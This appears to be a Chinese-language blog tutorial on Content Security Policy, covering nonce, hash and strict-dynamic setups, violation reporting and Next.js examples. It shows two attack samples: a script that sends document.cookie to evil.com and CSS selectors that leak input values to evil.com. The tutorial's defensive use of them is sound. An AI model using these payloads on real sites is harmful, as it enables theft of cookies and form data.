Content Security Policy 深度解析:從 XSS 防護到 strict-dynamic

前端安全(更新於 2026年6月10日)

CSP:XSS 防護的最後一道防線

Content Security Policy(CSP)是 HTTP 回應標頭,告訴瀏覽器哪些資源可以載入、從哪裡載入。即使攻擊者注入了惡意指令碼,CSP 也能阻止其執行。

沒有 CSP 時的 XSS 攻擊

<!-- 攻擊者注入的指令碼 -->
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

有 CSP 後

Content-Security-Policy: default-src 'self'

→ 瀏覽器拒絕執行內嵌指令碼
→ 拒絕載入非同源資源
→ XSS 攻擊失效

CSP 核心指令

資源載入指令

指令 控制範圍 範例值
default-src 所有資源的預設策略 'self'
script-src JavaScript 來源 'self' 'nonce-abc'
style-src CSS 來源 'self' 'unsafe-inline'
img-src 圖片來源 'self' data: https:
font-src 字型來源 'self' https://fonts.gstatic.com
connect-src fetch/XHR/WebSocket 來源 'self' https://api.example.com
media-src 音影片來源 'self'
object-src <object>/<embed> 來源 'none'
frame-src iframe 來源 'self'
base-uri <base href> 限制 'self'
form-action 表單提交目標 'self'

文件指令

指令 作用 推薦值
upgrade-insecure-requests HTTP 自動升級 HTTPS (無需值)
block-all-mixed-content 阻止混合內容 (無需值)
sandbox 限制頁面能力(類似 iframe sandbox) allow-scripts allow-forms

從 unsafe-inline 到 nonce/hash

unsafe-inline 的風險

script-src 'self' 'unsafe-inline'

→ 允許所有內嵌指令碼執行
→ XSS 注入的 <script> 也能執行
→ CSP 形同虛設

nonce 方案

伺服器端為每個請求產生隨機 nonce,僅允許帶匹配 nonce 的指令碼執行:

<!-- HTTP 回應標頭 -->
Content-Security-Policy: script-src 'self' 'nonce-abc123def456'

<!-- HTML 中的指令碼 -->
<script nonce="abc123def456">
  console.log('這是合法指令碼');
</script>

<!-- 攻擊者注入的指令碼沒有 nonce → 被阻止 -->
<script>
  stealCookies(); // 不執行
</script>

Next.js 中實作 nonce

import { NextRequest, NextResponse } from 'next/server';

export function middleware(request: NextRequest) {
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
  const csp = `script-src 'self' 'nonce-${nonce}'`;

  const response = NextResponse.next();
  response.headers.set('Content-Security-Policy', csp);
  response.headers.set('x-nonce', nonce);
  return response;
}

hash 方案

對指令碼內容計算 SHA256 雜湊,僅允許雜湊匹配的指令碼:

Content-Security-Policy: script-src 'self' 'sha256-abc123...'

<!-- 雜湊匹配的指令碼可以執行 -->
<script>console.log('固定內容指令碼');</script>

hash 適用於內容固定的內嵌指令碼(如 GA 初始化程式碼),nonce 適用於動態內容。


strict-dynamic:信任鏈傳播

傳統 CSP 的痛點

每新增一個第三方指令碼來源,就要在 script-src 中新增網域:

script-src 'self' cdn.jsdelivr.net cdn.jsdelivr.net/npm analytics.google.com ...

維護困難,且信任網域下的所有指令碼

strict-dynamic 方案

strict-dynamic 表示:由 nonce/hash 信任的指令碼動態載入的指令碼也自動受信任

script-src 'strict-dynamic' 'nonce-abc123'
  • 帶 nonce 的 <script> 可以執行
  • 該指令碼用 document.createElement('script') 建立的指令碼也可以執行
  • 不需要在 CSP 中列出所有 CDN 網域

信任鏈傳播規則

nonce 信任的指令碼
  ↓ 動態載入
  子指令碼自動信任
    ↓ 動態載入
    孫指令碼自動信任
      ↓ ...

strict-dynamic 下,'self''unsafe-inline'、網域源等傳統源運算式被忽略,僅 nonce/hash 作為信任根。


style-src 的特殊處理

為什麼 CSS 也需要 CSP

攻擊者可以透過 CSS 竊取資料:

/* CSS 資料竊取:根據屬性值載入不同背景圖 */
input[value^="a"] { background: url(https://evil.com/?char=a); }
input[value^="b"] { background: url(https://evil.com/?char=b); }

樣式 CSP 策略

style-src 'self' 'nonce-xyz789'
<style nonce="xyz789">
  .card { border-radius: 8px; }
</style>

許多框架(如 Tailwind CSS 的 JIT)需要 'unsafe-inline',可透過 nonce 或 hash 逐步收緊。


CSP 違規報告

設定報告端點

Content-Security-Policy: default-src 'self'; report-uri /api/csp-report

或使用新的 report-to

Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Reporting-Endpoints: csp-endpoint="https://toolsku.com/api/csp-report"

違規報告格式

{
  "csp-report": {
    "document-uri": "https://toolsku.com/blog/csp",
    "violated-directive": "script-src 'self'",
    "blocked-uri": "inline",
    "source-file": "https://toolsku.com/blog/csp",
    "line-number": 42,
    "column-number": 8
  }
}

報告處理伺服器端

export async function POST(request: Request) {
  const report = await request.json();
  console.error('CSP violation:', report['csp-report']);

  await db.insert('csp_violations', {
    uri: report['csp-report']['document-uri'],
    directive: report['csp-report']['violated-directive'],
    blocked: report['csp-report']['blocked-uri'],
    timestamp: new Date()
  });

  return new Response(null, { status: 204 });
}

CSP 唯讀模式(Content-Security-Policy-Report-Only)

部署 CSP 前先用 Report-Only 模式觀察違規,不實際阻止

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /api/csp-report

漸進部署流程

1. 設定 CSP-Report-Only → 收集違規報告
2. 分析報告 → 調整 CSP 策略
3. 違規清零後 → 切換為正式 CSP
4. 持續監控 → 發現新違規再調整

完整 CSP 設定範例

工具庫網站的 CSP

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'strict-dynamic' 'nonce-{NONCE}';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: blob: https:;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.toolsku.com;
  frame-src 'none';
  object-src 'none';
  base-uri 'self';
  form-action 'self';
  upgrade-insecure-requests;
  report-uri /api/csp-report

設定解析

指令 安全意義
default-src 'self' 預設僅同源 防止任意資源載入
script-src 'strict-dynamic' 'nonce-...' nonce + 信任鏈 消滅 unsafe-inline
style-src 'unsafe-inline' 允許內嵌樣式 Tailwind JIT 需要
object-src 'none' 禁止 Flash/Java 消滅舊外掛攻擊面
frame-src 'none' 禁止 iframe 防止點擊劫持
base-uri 'self' 限制 base 標籤 防止 base 劫持
form-action 'self' 表單僅提交同源 防止表單劫持

與其他安全回應標頭配合

回應標頭 作用 推薦值
X-Content-Type-Options 禁止 MIME 嗅探 nosniff
X-Frame-Options 禁止 iframe 嵌入 DENY
X-XSS-Protection 瀏覽器 XSS 過濾器 0(CSP 已涵蓋)
Strict-Transport-Security 強制 HTTPS max-age=31536000; includeSubDomains
Referrer-Policy 控制 Referer 洩露 strict-origin-when-cross-origin
Permissions-Policy 限制瀏覽器 API camera=(), microphone=(), geolocation=()

常見陷阱

陷阱 說明 解決
unsafe-eval 允許 eval()/new Function() 避免使用 eval,或用 Wasm 替代
unsafe-inline + nonce nonce 存在時 inline 被忽略 移除 unsafe-inline
缺少 default-src 未設定的指令回退到 default-src 始終設定 default-src
CDN 網域過多 維護困難 使用 strict-dynamic
不設 base-uri 攻擊者可注入 <base> 改變相對路徑 設定 base-uri 'self'

總結

CSP 是 XSS 防護的核心機制。從 unsafe-inline 遷移到 nonce + strict-dynamic 是現代 CSP 的最佳實務:既消除了內嵌指令碼的風險,又解決了第三方指令碼信任鏈的維護問題。配合 Report-Only 漸進部署和違規報告監控,可以在不破壞功能的前提下持續收緊安全策略。

使用 CSP 產生器 快速設定 CSP 策略,使用 HTTP 標頭分析 檢查回應標頭安全性,使用 Permissions Policy 工具 限制瀏覽器 API 存取。

本站提供瀏覽器本地工具,免註冊即可試用 →

#CSP#内容安全策略#XSS防护#nonce#安全响应头